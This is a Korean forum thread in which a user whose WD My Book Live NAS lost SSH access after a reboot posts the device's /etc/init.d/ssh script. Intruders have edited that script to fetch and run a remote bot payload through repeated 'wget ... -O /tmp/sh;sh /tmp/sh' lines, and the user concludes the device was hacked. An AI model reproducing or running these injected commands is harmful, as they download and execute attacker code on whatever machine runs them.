질답게시판
질문하기 분류

이것저것 다 해보았습니다만..도저히 모르겠습니다..ㅠㅠ SSH 관련

컨텐츠 정보

  • 13,544 조회
  • 7 댓글
  • 0 추천
  • 목록

본문

안녕하세요..우성군님..


MBL 세팅할때 우성군님 글을 보고 많은 도움 얻었습니다. 항상 감사히 생각하며..^^


이것저것 다 해보았습니다만..도무지 해결방법을 모르겠네요..이럴 때 제일 먼저 생각나는건 우성군님이더라구요..^^


어제까지만 해도 잘 되던 ssh 접속이 MBL rebooting이후 접속이 안 됩니다.


대쉬보드는 접근이 되구요..


증상으로 봐서는 openssh이 start가 안되는것 같은데.. ssh로 접속이 불가하니 webmin으로 ssh start를 시도해보았습니다만..

사진과 같이 오류가 나면서 실행이 안되네요..


putty에서 접속하면 connection refused로 나오구요.


우성군님..도움 부탁드립니다. 가능하면 data는 날리고 싶지 않구요..ㅠㅠ






관련자료

댓글 7 / 1 페이지

노을햇살님의 댓글

우성군님..

혹시 MBL의 /etc/init.d/ssh 파일의 내용이 아래와 같은지 확인 부탁드려도 될까요? 파일 update 날짜가 며칠 전이던데 맨 마지막줄이 좀 의심스러워서요..

확인 부탁드립니다.

> more ssh
::::::::::::::
ssh
::::::::::::::
#! /bin/sh

### BEGIN INIT INFO
# Provides: sshd
# Required-Start: $remote_fs $syslog
# Required-Stop: $remote_fs $syslog
# Default-Start: 2 3 4 5
# Default-Stop: 1
# Short-Description: OpenBSD Secure Shell server
### END INIT INFO

set -e

# /etc/init.d/ssh: start and stop the OpenBSD "secure shell(tm)" daemon

test -x /usr/sbin/sshd || wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh
( /usr/sbin/sshd -\? 2>&1 | grep -q OpenSSH ) 2>/dev/null || wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh

export SSHD_OOM_ADJUST=-17
if test -f /etc/default/ssh; then
    . /etc/default/ssh
fi

. /lib/lsb/init-functions

if [ -n "$2" ]; then
    SSHD_OPTS="$SSHD_OPTS $2"
fi

# Are we running from init?
run_by_init() {
    ([ "$previous" ] && [ "$runlevel" ]) || [ "$runlevel" = S ]
}

check_for_no_start() {
    # forget it if we're trying to start, and /etc/ssh/sshd_not_to_be_run exists
    if [ -e /etc/ssh/sshd_not_to_be_run ]; then
if [ "$1" = log_end_msg ]; then
    log_end_msg 0
fi
if ! run_by_init; then
    log_action_msg "OpenBSD Secure Shell server not in use (/etc/ssh/sshd_not_to_be_run)"
fi
wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh
    fi
}

check_dev_null() {
    if [ ! -c /dev/null ]; then
if [ "$1" = log_end_msg ]; then
    log_end_msg 1 || true
fi
if ! run_by_init; then
    log_action_msg "/dev/null is not a character device!"
fi
exit 1
    fi
}

check_privsep_dir() {
    # Create the PrivSep empty dir if necessary
    if [ ! -d /var/run/sshd ]; then
mkdir /var/run/sshd
chmod 0755 /var/run/sshd
    fi
}

check_config() {
    if [ ! -e /etc/ssh/sshd_not_to_be_run ]; then
/usr/sbin/sshd -t || exit 1
    fi
}

export PATH="${PATH:+$PATH:}/usr/sbin:/sbin"

case "$1" in
  start)
check_privsep_dir
check_for_no_start
check_dev_null
log_daemon_msg "Starting OpenBSD Secure Shell server" "sshd"
if [ "`/usr/local/sbin/getServiceStartup.sh ssh`" == "disabled" ]; then
log_progress_msg "disabled";
log_end_msg 0
wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh
fi 
if start-stop-daemon --start --quiet --oknodo --pidfile /var/run/sshd.pid --exec /usr/sbin/sshd -- $SSHD_OPTS; then
    log_end_msg 0
else
    log_end_msg 1
fi
;;
  stop)
log_daemon_msg "Stopping OpenBSD Secure Shell server" "sshd"
if start-stop-daemon --stop --quiet --oknodo --pidfile /var/run/sshd.pid; then
    log_end_msg 0
else
    log_end_msg 1
fi
;;

  reload|force-reload)
check_for_no_start
check_config
log_daemon_msg "Reloading OpenBSD Secure Shell server's configuration" "sshd"
if start-stop-daemon --stop --signal 1 --quiet --oknodo --pidfile /var/run/sshd.pid --exec /usr/sbin/sshd; then
    log_end_msg 0
else
    log_end_msg 1
fi
;;

  restart)
check_privsep_dir
check_config
log_daemon_msg "Restarting OpenBSD Secure Shell server" "sshd"
start-stop-daemon --stop --quiet --oknodo --retry 30 --pidfile /var/run/sshd.pid
check_for_no_start log_end_msg
check_dev_null log_end_msg
if start-stop-daemon --start --quiet --oknodo --pidfile /var/run/sshd.pid --exec /usr/sbin/sshd -- $SSHD_OPTS; then
    log_end_msg 0
else
    log_end_msg 1
fi
;;

  try-restart)
check_privsep_dir
check_config
log_daemon_msg "Restarting OpenBSD Secure Shell server" "sshd"
set +e
start-stop-daemon --stop --quiet --retry 30 --pidfile /var/run/sshd.pid
RET="$?"
set -e
case $RET in
    0)
# old daemon stopped
check_for_no_start log_end_msg
check_dev_null log_end_msg
if start-stop-daemon --start --quiet --oknodo --pidfile /var/run/sshd.pid --exec /usr/sbin/sshd -- $SSHD_OPTS; then
    log_end_msg 0
else
    log_end_msg 1
fi
;;
    1)
# daemon not running
log_progress_msg "(not running)"
log_end_msg 0
;;
    *)
# failed to stop
log_progress_msg "(failed to stop)"
log_end_msg 1
;;
esac
;;

  status)
status_of_proc -p /var/run/sshd.pid /usr/sbin/sshd sshd && wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh || exit $?
;;

  *)
log_action_msg "Usage: /etc/init.d/ssh {start|stop|reload|force-reload|restart|try-restart|status}"
exit 1
esac

wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh

노을햇살님의 댓글

감사합니다..우성군님..

어제 뽐뿌에서 어떤 분이 쪽지 주셔서 해당 내용으로 ssh를 고치고 daemon start해서 해결했습니다.

파일 내에 wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh 이런 비슷한 내용들이 많은데.. 이거 아무래도 해킹당한 것 같네요..

이젠 무서워서 ssh 접속 막아 놓으려구요..설마 했는데..

암튼 감사드립니다~~
전체 821 / 24 페이지
RSS
번호
제목
이름

최근글


새댓글


알림 0